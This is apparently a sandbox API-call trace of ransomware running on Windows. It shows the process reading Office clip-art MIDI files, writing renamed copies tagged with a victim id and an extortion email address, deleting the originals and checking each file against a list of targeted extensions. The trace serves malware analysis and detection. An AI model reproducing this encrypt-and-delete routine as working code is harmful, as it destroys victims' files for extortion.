	[0183.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0183.923] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=6392) returned 1
	[0183.924] CloseHandle (hObject=0x5bc) returned 1
	[0183.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220
	[0183.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0183.924] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.924] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0183.926] GetLastError () returned 0x0
	[0183.926] ReadFile (in: hFile=0x5bc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x18f8, lpOverlapped=0x0) returned 1
	[0183.928] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1900, lpOverlapped=0x0) returned 1
	[0183.929] ReadFile (in: hFile=0x5bc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.929] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1
	[0183.929] SetEndOfFile (hFile=0x5ac) returned 1
	[0183.929] CloseHandle (hObject=0x5ac) returned 1
	[0183.929] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.929] SetEndOfFile (hFile=0x5bc) returned 1
	[0183.933] CloseHandle (hObject=0x5bc) returned 1
	[0183.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1
	[0183.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.934] lstrlenW (lpString=".doc") returned 4
	[0183.934] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.934] lstrlenW (lpString=".docx") returned 5
	[0183.934] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0183.934] lstrlenW (lpString=".pdf") returned 4
	[0183.934] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.934] lstrlenW (lpString=".xls") returned 4
	[0183.934] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.934] lstrlenW (lpString=".xlsx") returned 5
	[0183.934] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0183.934] lstrlenW (lpString=".ppt") returned 4
	[0183.934] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.935] lstrlenW (lpString=".zip") returned 4
	[0183.935] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.935] lstrlenW (lpString=".rar") returned 4
	[0183.935] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.935] lstrlenW (lpString=".bz2") returned 4
	[0183.935] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.935] lstrlenW (lpString=".7z") returned 3
	[0183.936] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.936] lstrlenW (lpString=".dbf") returned 4
	[0183.936] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.936] lstrlenW (lpString=".1cd") returned 4
	[0183.936] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.936] lstrlenW (lpString=".jpg") returned 4
	[0183.936] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.936] lstrlenW (lpString=".doc") returned 4
	[0183.936] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.936] lstrlenW (lpString=".docx") returned 5
	[0183.936] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0183.936] lstrlenW (lpString=".pdf") returned 4
	[0183.936] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.936] lstrlenW (lpString=".xls") returned 4
	[0183.936] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.936] lstrlenW (lpString=".xlsx") returned 5
	[0183.936] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0183.936] lstrlenW (lpString=".ppt") returned 4
	[0183.936] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.936] lstrlenW (lpString=".zip") returned 4
	[0183.936] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.937] lstrlenW (lpString=".rar") returned 4
	[0183.937] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.937] lstrlenW (lpString=".bz2") returned 4
	[0183.937] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.937] lstrlenW (lpString=".7z") returned 3
	[0183.937] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.937] lstrlenW (lpString=".dbf") returned 4
	[0183.937] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.937] lstrlenW (lpString=".1cd") returned 4
	[0183.937] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0183.937] lstrlenW (lpString=".jpg") returned 4
	[0183.937] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.937] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0183.937] lstrlenW (lpString="SPACE_01.MID") returned 12
	[0183.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0183.939] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=4219) returned 1
	[0183.940] CloseHandle (hObject=0x5bc) returned 1
	[0183.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220
	[0183.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0183.940] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.940] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0183.942] GetLastError () returned 0x0
	[0183.942] ReadFile (in: hFile=0x5bc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x107b, lpOverlapped=0x0) returned 1
	[0183.943] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1080, lpOverlapped=0x0) returned 1
	[0183.944] ReadFile (in: hFile=0x5bc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.945] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.945] SetEndOfFile (hFile=0x5ac) returned 1
	[0183.945] CloseHandle (hObject=0x5ac) returned 1
	[0183.945] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.945] SetEndOfFile (hFile=0x5bc) returned 1
	[0184.042] CloseHandle (hObject=0x5bc) returned 1
	[0184.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1
	[0184.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.044] lstrlenW (lpString=".doc") returned 4
	[0184.044] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.044] lstrlenW (lpString=".docx") returned 5
	[0184.044] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.044] lstrlenW (lpString=".pdf") returned 4
	[0184.044] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.044] lstrlenW (lpString=".xls") returned 4
	[0184.044] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.044] lstrlenW (lpString=".xlsx") returned 5
	[0184.044] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.044] lstrlenW (lpString=".ppt") returned 4
	[0184.045] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.045] lstrlenW (lpString=".zip") returned 4
	[0184.045] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.045] lstrlenW (lpString=".rar") returned 4
	[0184.045] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.045] lstrlenW (lpString=".bz2") returned 4
	[0184.045] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.045] lstrlenW (lpString=".7z") returned 3
	[0184.045] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.045] lstrlenW (lpString=".dbf") returned 4
	[0184.045] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.045] lstrlenW (lpString=".1cd") returned 4
	[0184.045] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.045] lstrlenW (lpString=".jpg") returned 4
	[0184.045] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.045] lstrlenW (lpString=".doc") returned 4
	[0184.045] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.046] lstrlenW (lpString=".docx") returned 5
	[0184.046] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.046] lstrlenW (lpString=".pdf") returned 4
	[0184.046] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.046] lstrlenW (lpString=".xls") returned 4
	[0184.046] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.046] lstrlenW (lpString=".xlsx") returned 5
	[0184.046] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.046] lstrlenW (lpString=".ppt") returned 4
	[0184.046] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.046] lstrlenW (lpString=".zip") returned 4
	[0184.046] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.046] lstrlenW (lpString=".rar") returned 4
	[0184.046] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.046] lstrlenW (lpString=".bz2") returned 4
	[0184.046] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.046] lstrlenW (lpString=".7z") returned 3
	[0184.046] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.047] lstrlenW (lpString=".dbf") returned 4
	[0184.047] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.047] lstrlenW (lpString=".1cd") returned 4
	[0184.047] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0184.047] lstrlenW (lpString=".jpg") returned 4
	[0184.047] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.047] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0184.047] lstrlenW (lpString="SPRNG_01.MID") returned 12
	[0184.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.049] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=6700) returned 1
	[0184.049] CloseHandle (hObject=0x5bc) returned 1
	[0184.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220
	[0184.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.050] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.050] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0184.052] GetLastError () returned 0x0
	[0184.053] ReadFile (in: hFile=0x5bc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x1a2c, lpOverlapped=0x0) returned 1
	[0184.055] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1a30, lpOverlapped=0x0) returned 1
	[0184.056] ReadFile (in: hFile=0x5bc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.057] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.057] SetEndOfFile (hFile=0x5ac) returned 1
	[0184.057] CloseHandle (hObject=0x5ac) returned 1
	[0184.057] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.057] SetEndOfFile (hFile=0x5bc) returned 1
	[0184.064] CloseHandle (hObject=0x5bc) returned 1
	[0184.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1
	[0184.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.066] lstrlenW (lpString=".doc") returned 4
	[0184.066] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.066] lstrlenW (lpString=".docx") returned 5
	[0184.066] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.066] lstrlenW (lpString=".pdf") returned 4
	[0184.066] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.066] lstrlenW (lpString=".xls") returned 4
	[0184.066] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.066] lstrlenW (lpString=".xlsx") returned 5
	[0184.066] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.066] lstrlenW (lpString=".ppt") returned 4
	[0184.066] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.066] lstrlenW (lpString=".zip") returned 4
	[0184.066] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.066] lstrlenW (lpString=".rar") returned 4
	[0184.066] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.067] lstrlenW (lpString=".bz2") returned 4
	[0184.067] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.067] lstrlenW (lpString=".7z") returned 3
	[0184.067] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.067] lstrlenW (lpString=".dbf") returned 4
	[0184.067] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.067] lstrlenW (lpString=".1cd") returned 4
	[0184.067] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.067] lstrlenW (lpString=".jpg") returned 4
	[0184.067] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.067] lstrlenW (lpString=".doc") returned 4
	[0184.067] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.067] lstrlenW (lpString=".docx") returned 5
	[0184.067] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.067] lstrlenW (lpString=".pdf") returned 4
	[0184.067] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.068] lstrlenW (lpString=".xls") returned 4
	[0184.068] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.068] lstrlenW (lpString=".xlsx") returned 5
	[0184.068] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.068] lstrlenW (lpString=".ppt") returned 4
	[0184.068] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.068] lstrlenW (lpString=".zip") returned 4
	[0184.068] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.068] lstrlenW (lpString=".rar") returned 4
	[0184.068] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.068] lstrlenW (lpString=".bz2") returned 4
	[0184.068] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.068] lstrlenW (lpString=".7z") returned 3
	[0184.068] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.068] lstrlenW (lpString=".dbf") returned 4
	[0184.068] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.068] lstrlenW (lpString=".1cd") returned 4
	[0184.069] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0184.069] lstrlenW (lpString=".jpg") returned 4
	[0184.069] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.069] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0184.069] lstrlenW (lpString="SUMER_01.MID") returned 12
